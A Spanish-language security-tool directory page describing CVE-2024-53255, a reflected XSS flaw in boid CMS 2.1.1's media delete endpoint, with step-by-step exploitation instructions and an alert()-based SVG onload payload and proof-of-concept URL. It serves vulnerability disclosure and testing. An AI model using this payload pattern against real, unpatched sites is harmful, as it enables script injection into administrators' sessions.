Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-53255 — boid CMS 2.1.1 - Cross-Site Scripting reflejado (XSS) | Kitploit
Herramientas/GitHubGitHub/0x4m3r/cve-2024-53255
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHub0x4m3r/cve-2024-53255

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting reflejado (XSS)

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting reflejado (XSS)

Descripción:

Existe una vulnerabilidad de XSS reflejado en el endpoint /admin?page=media en el parámetro file, que permite a un atacante inyectar código JavaScript arbitrario.

Pasos para explotar:

1- Iniciar sesión en el CMS y navegar a la página de eliminación (/admin?page=media).

2- Seleccionar cualquier archivo para eliminar e interceptar la solicitud usando una herramienta proxy.

3- Modificar el parámetro file en la solicitud interceptada a:

root@kitploit:~
<svg+onload%3dalert(document.domain)>

4- Reenviar la solicitud modificada y el script inyectado se ejecutará.

Prueba de concepto (PoC):

root@kitploit:~
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4

Para más detalles: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r

Descargar herramienta